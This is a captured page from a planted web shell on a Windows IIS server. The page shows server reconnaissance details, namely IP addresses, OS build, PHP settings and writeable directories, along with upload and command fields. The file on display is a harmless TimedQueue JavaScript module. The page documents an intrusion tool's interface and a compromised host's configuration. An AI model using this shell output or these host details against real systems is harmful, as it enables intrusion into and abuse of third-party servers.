403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/thingies/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/thingies/lib/TimedQueue.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.TimedQueue = void 0;
/**
 * Queue that is flushed automatically when it reaches some item limit
 * or when timeout is reached.
 */
class TimedQueue {
    constructor() {
        /**
         * Queue will be flushed when it reaches this number of items.
         */
        this.itemLimit = 100;
        /**
         * Queue will be flushed after this many milliseconds.
         */
        this.timeLimit = 5000;
        /**
         * Method that will be called when queue is flushed.
         */
        this.onFlush = (list) => { };
        this.list = [];
        this.timer = null;
    }
    push(item) {
        this.list.push(item);
        if (this.list.length >= this.itemLimit) {
            this.flush();
            return;
        }
        if (!this.timer) {
            this.timer = setTimeout(() => {
                this.flush();
            }, this.timeLimit);
        }
    }
    flush() {
        const list = this.list;
        this.list = [];
        if (this.timer)
            clearTimeout(this.timer);
        this.timer = null;
        if (list.length) {
            try {
                this.onFlush(list);
            }
            catch (error) {
                // tslint:disable-next-line
                console.error('TimedQueue', error);
            }
        }
        return list;
    }
}
exports.TimedQueue = TimedQueue;

Youez - 2016 - github.com/yon3zu
LinuXploit